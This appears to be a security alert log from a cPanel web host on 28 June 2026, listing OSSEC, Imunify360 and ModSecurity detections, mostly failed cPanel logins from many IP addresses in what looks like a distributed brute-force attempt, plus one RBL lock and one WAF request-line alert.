[2026-06-28 08:53:26 +0000] info [cpaneld] 217.181.74.68 - mvfxewjz "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.67.120
country_id: 6252001
description:
[2026-06-28 08:53:31 +0000] info [cpaneld] 217.181.67.120 - davetkoo "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.72.4
country_id: 6252001
description:
[2026-06-28 08:53:58 +0000] info [cpaneld] 217.181.72.4 - dgdntogo "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.77.171
country_id: 6252001
description:
[2026-06-28 08:54:33 +0000] info [cpaneld] 217.181.77.171 - edjatiapougloe "GET / HTTP/1.1" FAILED LOGIN cpaneld: User edjatiapougloe has their account suspended. Login blocked.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.74.140
country_id: 6252001
description:
[2026-06-28 08:54:20 +0000] info [cpaneld] 217.181.74.140 - bjwcjsqs "GET / HTTP/1.1" FAILED LOGIN cpaneld: User bjwcjsqs has their account suspended. Login blocked.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.75.197
country_id: 6252001
description:
[2026-06-28 08:54:24 +0000] info [cpaneld] 217.181.75.197 - zmfpejke "GET / HTTP/1.1" FAILED LOGIN cpaneld: User zmfpejke has their account suspended. Login blocked.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.69.224
country_id: 6252001
description:
[2026-06-28 08:55:17 +0000] info [cpaneld] 217.181.69.224 - kygyhxkc "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.77.55
country_id: 6252001
description:
[2026-06-28 08:55:13 +0000] info [cpaneld] 217.181.77.55 - vodvpozo "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.76.188
country_id: 6252001
description:
[2026-06-28 08:55:22 +0000] info [cpaneld] 217.181.76.188 - afgqjhmw "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.134
country_id: 3469034
description:
Jun 28 08:54:57 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.134 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.79.211
country_id: 6252001
description:
[2026-06-28 08:55:08 +0000] info [cpaneld] 217.181.79.211 - uubplgpf "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.70.73
country_id: 6252001
description:
[2026-06-28 08:55:16 +0000] info [cpaneld] 217.181.70.73 - cietg "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.78.180
country_id: 6252001
description:
[2026-06-28 08:57:44 +0000] info [cpaneld] 217.181.78.180 - tubobkfl "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.72.207
country_id: 6252001
description:
[2026-06-28 08:57:27 +0000] info [cpaneld] 217.181.72.207 - mgvybwur "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.65.47
country_id: 6252001
description:
[2026-06-28 08:57:59 +0000] info [cpaneld] 217.181.65.47 - phoicdxb "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.73.4
country_id: 6252001
description:
[2026-06-28 08:58:07 +0000] info [cpaneld] 217.181.73.4 - jvrzfkho "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.69.21
country_id: 6252001
description:
[2026-06-28 08:58:03 +0000] info [cpaneld] 217.181.69.21 - rdlizssu "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.23.232
country_id: 2635167
description:
[2026-06-28 09:01:47 +0000] info [cpaneld] 195.63.23.232 - fgbegmfv "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.172.79.239
country_id: 2510769
description:
81.172.79.239 - - [28/Jun/2026:09:02:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7105686&pdata=https%253A%252F%252Fcpanel.leveinard.free.netmaster.tg%252F%253Flocale%253Des_es&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782637359 HTTP/2.0" 302 0 cpanel.leveinard.free.netmaster.tg "https://cpanel.leveinard.free.netmaster.tg/?locale=es_es" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.172.79.239


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.4.139
country_id: 6252001
description:
[2026-06-28 09:07:37 +0000] info [cpaneld] 195.63.4.139 - nwvfmxat "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.181.86.161
country_id: 2921044
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:HEAD http:/www.arse.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.13.215
country_id: 6252001
description:
[2026-06-28 09:08:44 +0000] info [cpaneld] 195.63.13.215 - lhxhatyj "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.1.126
country_id: 6252001
description:
[2026-06-28 09:08:49 +0000] info [cpaneld] 195.63.1.126 - vuvwskxh "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.13.235
country_id: 6252001
description:
[2026-06-28 09:08:59 +0000] info [cpaneld] 195.63.13.235 - newglevfer "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.9.243
country_id: 6252001
description:
[2026-06-28 09:09:28 +0000] info [cpaneld] 195.63.9.243 - pnlpzmfv "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


